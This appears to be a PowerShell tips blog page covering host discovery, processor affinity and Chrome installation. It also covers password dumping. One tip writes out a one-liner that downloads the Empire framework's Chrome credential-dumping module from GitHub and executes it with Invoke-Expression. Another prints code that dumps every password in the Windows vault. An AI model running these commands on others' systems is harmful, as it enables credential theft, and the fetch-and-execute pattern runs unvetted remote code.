Finding Hidden PowerShell Applications

The most widely known PowerShell hosts are certainly powershell.exe and powershell_ise.exe because they ship out-of-the-box. However, there can be many more (and hidden) PowerShell hosts running. Any software that instantiates the PowerShell engine is a PowerShell host. This could be Visual Studio Code (with the PowerShell extension installed), Visual Studio, or any other similar software.

To find out all currently running PowerShell hosts, run this:

Get-ChildItem -Path "\.pipe" -Filter '*pshost*' |
    ForEach-Object {
        $id = $_.Name.Split('.')[2]
        if ($id -ne $pid)
        {
            Get-Process -ID $id
        }
    }

The result may look like this:

 
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                      
-------  ------    -----      -----     ------     --  -- -----------                                      
   1131     101   628520      42440             11216   0 SupportAssistAgent                               
   1011      82   269920     299208      85,30  17420   1 powershell_ise                                   
    520      29    68012      75880       1,23  33532   1 powershell                                       
    590      31    69508      77712       2,02  36636   1 powershell                                       
    545      27    67952      76668       1,14  37584   1 powershell                                       
   4114     654   801136     965032     129,69  28968   1 devenv    
 

“SupportAssistAgent” was opened by Visual Studio Code, and “devenv” represents the internal PowerShell host launched by Visual Studio.


Twitter This Tip! ReTweet this Tip!

The End Of My Era

For me, today is a sad day. At least in some ways. Today is the end of my career as a Microsoft Certified Trainer. My MCT credentials lapse today and as I stopped taking/passing exams, I am no longer able to renew. So this is the end of my 26+year road… Read the full text.

Controlling Processor Affinity

Most modern computers have more than one processor, either physical or logical. If you’d like to find out the number of processors, here is a chunk of PowerShell code:

Get-WmiObject -Class Win32_Processor | 
  Select-Object -Property Caption, NumberOfLogicalProcessors

The result may look similar to this:

 
Caption                              NumberOfLogicalProcessors
-------                              -------------------------
Intel64 Family 6 Model 78 Stepping 3                         4 
 

When you run a process on such a machine, it typically has no specific processor affinity so Windows decides on which processor the process will run.

If you’d like, you can declare a specific processor affinity for each process. This can be useful, for example, if you’d like to control the processor(s) a program can use, i.e. to keep a process from using all processors.

Processor affinity is controlled by a bitflag. To find out the current processor affinity for a process, use the code below:

$process = Get-Process -Id $PID
[Convert]::ToString([int]$process.ProcessorAffinity, 2) 

In this example, the current PowerShell process is used, but you could specify any process. The typical result would be:

 
1111
 

On a four processor machine, the process has no particular affinity and can use any processor. To set a new affinity, the easiest way is to use your own bit mask, and change the property. For example, to lock the current PowerShell process to the first processor only, try this:

# calculate the bit mask
$mask = '1000'
$bits = [Convert]::ToInt32($mask, 2)

# assign new affinity to current PowerShell process
$process = Get-Process -Id $PID
$process.ProcessorAffinity = $bits

Twitter This Tip! ReTweet this Tip!

Dumping All Passwords from Chrome

In the previous tip we illustrated how you can dump all passwords from your personal Windows Password Vault. The same is true for basically any password manager as these programs are designed to return the passwords they store for you.

Google Chrome browsers store your personal passwords (and website history) in a SQLLite database. PowerShell can easily access this database and dump the information for you. To be able to do this, though, PowerShell needs specific SQLLite assemblies that are not part of Windows.

The code below shows how you can (a) download massive amounts of code via a one-liner and (b) embed a binary .NET assembly in the downloaded code.

Warning: run this code only on demo machines, or make sure you download the code first and examine it closely before you run it. The code is downloaded from a 3rd party source, and you *never* know whether such code contains malicious content.

If you like the idea of dumping Chrome secrets, we suggest you download the code on a safe machine, quarantine and examine it, then use it from a local saved copy whenever you need it. Never download and execute code from untrusted sources without double-checking what the code actually does:

# download the code from GitHub
$url = 'https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/collection/Get-ChromeDump.ps1'
$code = Invoke-RestMethod -Uri $url -UseBasicParsing
# run the code
Invoke-Expression $code

# now you have a new function called Get-ChromeDump
Get-ChromeDump 

Note that the SQLLite database is locked while Chrome is running. You need to close down Chrome before you can dump its secrets.

The fact that code comes from an unknown or untrusted source does not mean the code is bad. In fact, when you look at the code, you’ll discover interesting techniques:

# download the code from GitHub
$url = 'https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/collection/Get-ChromeDump.ps1'
# and copy it to the clipboard
Invoke-RestMethod -Uri $url -UseBasicParsing | Set-ClipBoard

# now paste the code into your editor of choice and inspect it!

As you’ll see, the code ships with the binary .NET assembly required to access SQLLite databases. The binary is base64-encoded as a string. This is the part that restores the binary on your computer:

$content = [System.Convert]::FromBase64String($assembly) 
$assemblyPath = "$($env:LOCALAPPDATA)System.Data.SQLite.dll" 
Add-Type -Path $assemblyPath

Here are more security-related PowerShell one-liners: https://chrishales.wordpress.com/2018/01/03/powershell-password-one-liners/


Twitter This Tip! ReTweet this Tip!

Dumping Personal Passwords from Windows

Windows has a protected password vault where it can store your secret passwords so you don’t have to always enter them manually in Internet Explorer or Edge.

If you get used to automated password managers, you may occasionally forget the original passwords. Here is a super simple PowerShell way to dump all of your passwords stored in the Windows password vault:

# important: this is required to load the assembly
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]


(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | 
ForEach-Object { 
    $_.RetrievePassword()
    $_ 
} | 
Select-Object -Property Username, Password, Resource |
Out-GridView 

Note that you won’t get any results if you never stored credentials in Internet Explorer or Edge. Note also that this code works as designed: you and only you can retrieve the passwords, just as if you were visiting a website in your browser and asking the browser to fill in your credentials for you.

Dumping all stored passwords illustrates why it is so important to always lock your machine when you are away. Anyone could run this PowerShell code to dump your personal passwords if you leave your machine unattended.


Twitter This Tip! ReTweet this Tip!

Installing Google Chrome via PowerShell

To download and install the Google Chrome browser, simply combine a couple of generic PowerShell commands:

$Installer = "$env:tempchrome_installer.exe"
$url = 'http://dl.google.com/chrome/install/375.126/chrome_installer.exe'
Invoke-WebRequest -Uri $url -OutFile $Installer -UseBasicParsing
Start-Process -FilePath $Installer -Args '/silent /install' -Wait
Remove-Item -Path $Installer

Twitter This Tip! ReTweet this Tip!